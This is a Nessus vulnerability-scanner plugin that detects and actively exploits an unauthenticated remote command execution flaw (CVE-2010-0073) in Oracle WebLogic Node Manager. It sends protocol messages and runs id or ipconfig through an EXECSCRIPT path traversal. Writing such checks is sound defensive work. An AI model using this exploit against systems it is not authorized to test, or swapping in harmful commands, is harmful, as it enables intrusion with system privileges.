| code | #
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description)
{
script_id(44316);
script_version("1.18");
script_cve_id("CVE-2010-0073");
script_bugtraq_id(37926);
script_name(english:"Oracle WebLogic Server Node Manager Remote Command Execution");
script_summary(english:"Tries to execute a command");
script_set_attribute(
attribute:"synopsis",
value:"The remote service allows execution of arbitrary code."
);
script_set_attribute(
attribute:"description",
value:
"The version of Node Manager listening on this port allows
unauthenticated, remote attackers to execute arbitrary commands with
system privileges."
);
script_set_attribute(
attribute:"see_also",
value:"http://www.nessus.org/u?6aee3333"
);
script_set_attribute(
attribute:"see_also",
value:"http://www.nessus.org/u?a7d02724"
);
script_set_attribute(
attribute:"solution",
value:"Apply the fix referenced in Oracle's advisory."
);
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
script_set_cvss3_temporal_vector("CVSS:3.0/E:U/RL:O/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"vuln_publication_date", value:"2010/01/23");
script_set_attribute(attribute:"plugin_publication_date", value:"2010/01/26");
script_cvs_date("Date: 2018/08/06 14:03:15");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"Misc.");
script_copyright(english:"This script is Copyright (C) 2010-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("weblogic_nodemanager_detect.nasl", "os_fingerprint.nasl");
script_require_ports("Services/weblogic_nodemanager", 5556);
exit(0);
}
include("global_settings.inc");
include("misc_func.inc");
include("data_protection.inc");
port = get_kb_item("Services/weblogic_nodemanager");
if (!port)
{
if (service_is_unknown(port:5556)) port = 5556;
else exit(0, "The host does not appear to be running Node Manager.");
}
if (!get_port_state(port)) exit(0, "Port "+port+" is not open.");
# Initialize some variables.
domains = make_list(
'wl_server',
'medrec',
'workshop'
);
os = get_kb_item("Host/OS");
if (os)
{
if ("Windows" >< os) cmd = '/WINDOWS/System32/ipconfig.exe';
else cmd = '/usr/bin/id';
cmds = make_list(cmd);
}
else
{
cmds = make_list(
'/WINDOWS/System32/ipconfig.exe',
'/usr/bin/id'
);
}
traversal = crap(data:"../", length:3*9) + '..';
cmd_pats = make_array();
cmd_pats["id"] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats["ipconfig.exe"] = "Subnet Mask";
soc = open_sock_tcp(port);
if (!soc) exit(1, "Can't open socket on port "+port+".");
# Send a 'HELLO'.
req1 = 'HELLO ' + SCRIPT_NAME;
send(socket:soc, data:req1+'\n');
res1 = recv_line(socket:soc, length:1024);
if (strlen(res1) == 0) exit(1, "Service on port "+port+" failed to respond.");
res1 = chomp(res1);
if (res1 !~ "OK Node [Mm]anager") exit(1, "Unexpected response from port "+port+" ("+res1+").");
# Find a valid domain.
valid_domain = "";
foreach domain (domains)
{
req2 = 'DOMAIN ' + domain;
send(socket:soc, data:req2+'\n');
res2 = recv_line(socket:soc, length:1024);
if (strlen(res2) == 0) exit(1, "Service on port "+port+" failed to respond.");
if ('+OK Current domain set to ' >< res2)
{
valid_domain = domain;
break;
}
}
# If we have one...
errmsg = "";
report = "";
if (valid_domain)
{
# Try to exploit the vulnerability.
foreach cmd (cmds)
{
# Add a marker so we can find our command output.
marker = 'NESSUS_' + SCRIPT_NAME + '_' + unixtime();
req3 = 'EXECSCRIPT ' + marker;
send(socket:soc, data:req3+'\n');
res3 = recv_line(socket:soc, length:1024);
if (strlen(res3) == 0) exit(1, "Service on port "+port+" failed to respond.");
if (
report_paranoia < 2 &&
'Unable to find file "'+marker+'" in the correct service migration' >!< res3
)
{
errmsg = "Unexpected response to EXECSCRIPT message from port "+port+" ("+res3+").";
break;
}
# Now the exploit.
#
# nb: running an interactive command such as Windows' CALC.exe will likely
# result in a timeout as EXECSCRIPT waits for the command to finish.
script = traversal + cmd;
req3 = 'EXECSCRIPT ' + script;
send(socket:soc, data:req3+'\n');
res3 = recv_line(socket:soc, length:1024);
if (strlen(res3) == 0) exit(1, "Service on port "+port+" failed to respond.");
if ("+OK Script '"+script+"' executed" >< res3)
{
req4 = 'GETNMLOG';
send(socket:soc, data:req4+'\n');
got_marker = FALSE;
info = "";
while (TRUE)
{
res4 = recv_line(socket:soc, length:1024);
if (strlen(res4) == 0) exit(1, "Service on port "+port+" failed to respond.");
res4 = chomp(res4);
if (res4 == '.') break;
if (got_marker && "<Info> <" >< res4)
{
info += ereg_replace(pattern:"^.+<Info> <(.*)>$", replace:"\1", string:res4) + '\n';
}
else if ('Unable to find file "'+marker+'" in the correct service migration' >< res4) got_marker = TRUE;
}
basename = ereg_replace(pattern:"^(.*/)?", replace:"", string:cmd);
pat = cmd_pats[basename];
if (os && "Windows" >< os) cmd = str_replace(find:'/', replace:'\\', string:cmd);
if (strlen(info) && egrep(pattern:pat, string:info))
{
report = '\n' +
"Nessus was able to execute the command '" + cmd + "' on the" + '\n' +
'remote host by connecting to this port and sending the following\n' +
'four messages :\n' +
'\n' +
crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
' ' + req1 + '\n' +
' ' + req2 + '\n' +
' ' + req3 + '\n' +
' ' + req4 + '\n' +
crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n';
if (report_verbosity > 1)
{
report += '\n' +
'This produced the following output :\n' +
'\n' +
crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
info + '\n' +
crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n';
}
}
else
{
report = '\n' +
"Although Nessus did not find the expected output in Node Manager's" + '\n' +
"logs, it appears possible based on Node Manager's responses to be" + '\n' +
"able to execute the command '" + cmd + "' on the remote" + '\n' +
'host by connecting to this port and sending the following four\n' +
'messages :\n' +
'\n' +
crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
' ' + req1 + '\n' +
' ' + req2 + '\n' +
' ' + req3 + '\n' +
' ' + req4 + '\n' +
crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n';
}
}
else if ('Unable to find file "'+script+'" in the correct service migration' >< res3)
{
if (os && "Windows" >< os) cmd = str_replace(find:'/', replace:'\\', string:cmd);
report = '\n' +
"Although Nessus was not able to execute the command '" + cmd + "'" + '\n' +
'on the remote host, the vulnerability almost certainly exists and\n' +
'is likely exploitable using a different command or path.\n' +
'\n' +
'Nessus tried connecting to this port and sending the following three\n' +
'messages :\n' +
'\n' +
crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
' ' + req1 + '\n' +
' ' + req2 + '\n' +
' ' + req3 + '\n' +
crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
'\n' +
'The third message resulted in the following response :\n' +
'\n' +
crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
' ' + data_protection::sanitize_uid(output:res3) + '\n' +
crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n';
}
# We're done if we have a report that indicates execution was successful;
# if it wasn't successful, we'll try another command.
if (report && "Nessus was not able to execute" >!< report) break;
}
}
# Be nice and disconnect cleanly.
req = 'QUIT';
send(socket:soc, data:req+'\n');
res = recv_line(socket:soc, length:256);
close(soc);
# Report results.
if (valid_domain)
{
if (report)
{
if (report_verbosity > 0) security_hole(port:port, extra:report);
else security_hole(port);
exit(0);
}
else if (errmsg) exit(1, errmsg);
else exit(0, "The instance of Node Manager listening on port "+port+" is not affected.");
}
else exit(1, "Failed to find a valid domain for the instance of Node Manager listening on port "+port+".");
|